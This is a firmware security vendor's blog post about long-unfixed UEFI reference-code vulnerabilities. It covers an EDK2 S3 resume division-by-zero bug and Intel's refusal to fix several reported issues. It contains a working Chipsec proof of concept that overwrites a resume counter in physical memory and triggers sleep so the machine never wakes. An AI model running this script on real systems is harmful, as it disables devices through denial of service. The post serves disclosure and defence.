We have frequently covered the topic of supply chain problems related to reference code when silicon vendors ship vulnerable code to the entire ecosystem. These vulnerabilities typically require a significant amount of time and effort to get fixed since they impact all the vendors that incorporate the vulnerable code into the firmware on their devices.

Last year at Black Hat, the Binarly team presented “Breaking Firmware Trust From Pre-EFI:Exploiting Early Boot Phases” where we publicly discussed the massive attack surface exposed from Pre-EFI firmware components for the first time. A few weeks before our Black Hat presentation, we identified another vulnerability in the S3Resume2Pei component. However, we made the decision to not cover this new discovery in our talk, since our research team already had enough findings to share and, more importantly, we wanted to follow a responsible disclosure process. So we reported this vulnerability to the vendor PSIRT team with all of the other findings we were going to present and moved on to other research.

Fast-forward one year, as we were preparing to attend Black Hat USA 2023, we realized that this vulnerability is still unfixed. That was a bit of a shock as we glanced at the calendars and observed the raw truth about the BRLY-2023-021 vulnerability:

• 400+ days under disclosure of EDK2 reference code vulnerability with industry-wide impact at every major enterprise vendor (HP, Fujitsu, Formelife, Aaeon, Lenovo, MSI, Starlabs, Aopen, Supermicro, Acer, Compulab, HP, Intel, Samsung, and many others).
• 3+ weeks since the Binarly research team proposed a fix which passed all the tests on Github.
  
  

BRLY-2023-021 is not the most critical vulnerability with CVSS v3.1: 6.0 (Medium). But depending on the context, denial-of-service (DoS) vulnerabilities can become very impactful on edge devices, critical infrastructure, or medical devices. In many cases, a DoS vulnerability in the context of the impact can be similar to disruption on the power grid or medical device, which creates serious security and reliability risks.

Just this week, NCC Group researcher Jeremy Boone showed that complex mitigation implementations like Platform Firmware Resiliency (PFR) can actually expand the attack surface and complexity of firmware. Despite the importance of his findings, Jeremy’s vulnerabilities took more than 300 days to be fixed, highlighting once again how the firmware vulnerability disclosing and patching processes are affected by endemic problems.

A few weeks ago, CISA announced a call to action to the industry “Bolster UEFI Cybersecurity Now” and correctly defined UEFI firmware as a critical attack surface for enterprises.
Let’s dive into the details of a few supply chain security cases which show the current state of the UEFI firmware security and misalignment with “Secure by Design and PSIRT maturity”.

The One-Year Anniversary of Unfixed BRLY-2023-021 in EDK2

Binarly REsearch team, for the first time, reported BRLY-2023-021 in July of 2022. When we originally reported another vulnerability BRLY-2022-009, in the same S3Resume2Pei component, we realized there another vulnerability in the EDK2 reference code, and we reported it together as a bonus bug. BRLY-2023-021 was identified as a PEI-phase denial-of-service (DoS) vulnerability in the EDK2 codebase, which can be exploited by an attacker capable of modifying physical memory.

Let’s look into vulnerable code patterns from the EDK2 reference code. The figure below shows the vulnerable code snippet in the main EDK2 repository.

An attacker with the ability to modify physical memory is able to find and control AcpiS3ResumeRecord->ResumeCount value. The address of AcpiS3ResumeRecord can be obtained from the FPDT ACPI table. The attacker can not modify the address of AcpiS3ResumeRecord since it will be locked to mitigate the previous class of vulnerabilities with S3BootScript and can be obtained by using the RestoreLockBox() function. However, the attacker is still able to modify the AcpiS3ResumeRecord buffer content. If the attacker sets ResumeCount to 0xFFFFFFFF, after increasing this value by 1, ResumeCount will become 0 ( due to the UINT32 overflow). Thus, since there is no check of the ResumeCount value, the DivU64x32() function will divide by 0, which will lead to a DoS. The BRLY-2023-021 advisory contains a PoC that allows the trigger of DoS in the PEI phase on an Intel NUC M15 device during S3 wake-up.

On Intel NUC M15, the vulnerability can be found in the FirmwarePerformancePei module and the vulnerable decompiled pseudocode can be found in the figure below.

After diving deeper to thoroughly research this attack vector, we developed a Proof of Concept (PoC) to exploit BRLY-2023-021 and demonstrate impact since it was questionable during the disclosure about the exploitability of this bug. The PoC code for Linux can be found in the code listing below, representing the Chipsec-based test case.

import os
import chipsec
import chipsec.chipset
import hexdump

cs = chipsec.chipset.cs()
cs.init(None, True, True)

# FPDT @ 0x0000000000000000
#0000: 46 50 44 54 44 00 00 00 01 09 49 4E 54 45 4C 00  FPDTD.....INTEL.
#0010: 4E 55 43 78 69 37 41 35 47 00 00 00 41 4D 49 20  NUCxi7A5G...AMI
#0020: 13 00 00 01 00 00 10 01 00 00 00 00 00 40 3C 55  .............@<U
#0030: 00 00 00 00 01 00 10 01 00 00 00 00 00 00 FA 54  ...............T
#0040: 00 00 00 00

AcpiS3ResumeRecord = 0x54FA0000  # from FPDT ACPI Table
ResumeCountOffset = 0xC
cs.helper.write_physical_mem(
    AcpiS3ResumeRecord + ResumeCountOffset, 4, b"\xff\xff\xff\xff")
hexdump.hexdump(cs.helper.read_physical_mem(AcpiS3ResumeRecord, 32))

os.system("echo deep > /sys/power/mem_sleep")
os.system("rtcwake -m mem -s 3")  
# the system will never wake up due to a division by 0 at the PEI stage

The Binarly Transparency Platform identifies this vulnerability and protects our customers by showing additional details and context to help understand this security problem and its implications. The figure below shows the Binarly Transparency Platform detection and the additional context that our customers can use to effectively mitigate this vulnerability.

Unfortunately, supply chain security vulnerabilities in reference code components are not rare, and we routinely find and report them. A very common problem is the way these vulnerability disclosures are handled by silicon vendors and IBVs. Quite often, the disclosure process is quite opaque and never clear how many parties will be notified and receive the fix. Fortunately, the Binarly Transparency Platform can keep detecting these vulnerabilities for years across the diverse device fleets at modern enterprises.

Let’s dive into another supply chain security failure where some of the attacker models on the silicon-vendor side cannot be beneficial for the end customers and cause multiple problems to the downstream vendors.

The Overlooked Catalyst in Persistent Intel Reference Code Vulnerabilities.

Initially, we reported more than 100 vulnerabilities in December 2022. Most of these vulnerabilities were related to the misuse of Get/SetVariable() and were identified by using an unique functionality of our Binarly Transparency Platform called Deep Vulnerability Analysis. Most of these findings are connected to Intel reference code and thus impact the entire ecosystem.

We ran tests on the Dell data corpus with our new Deep Vulnerability Analysis product, and all the findings were reported directly to Dell PSIRT. Later, we were notified about some of the bugs related to AMD (still under disclosure) and Intel reference code. Binarly REsearch team always enjoys working with the Intel PSIRT team, but this time, the response was disappointing. Intel decided not to fix these problems because of physical attack vector requirements and limitations on their internal attacker model, where physical access bugs are out of scope. In response to our vulnerability disclosure report, Intel PSIRT team replied:

This answer left us disappointed for multiple reasons:

• We reported vulnerabilities BRLY-2022-014/CVE-2022-32579 and BRLY-2022-015/CVE-2022-34345 with physical attack vectors last year and they were accepted and fixed by Intel, showing that this attack vector is clearly in scope. However, the Intel patch was insufficient to actually fix the issue, and these bugs still can be exploited in certain conditions.

• The reported problems will very likely be (silently) fixed by Intel without assigned CVEs, meaning that it will be difficult to get them fixed at downstream vendors who are left completely in the dark. Hopefully, this blog will create a certain level of transparency and will help to address these supply chain problems.

• However, Binarly team has been working with the Dell PSIRT team to address these supply chain issues mainly for Dell devices. While these bugs have been fixed by the Dell team, many other enterprise devices from other vendors still remain vulnerable.

We’ve spent the last few years highlighting the massive gaps in vulnerability disclosure with industry-wide impact. Unfortunately, not much has changed. The right initiative, like CISA’s “Secure by Design”, is a welcome development but the reality is that the shift-left approach will take years, even decades, for vendors to adapt to the new reality.

The award-winning Binarly Transparency Platform empowers security teams and developers to manage the growing risk of firmware-level threats and supply chain problems affecting the entire ecosystem.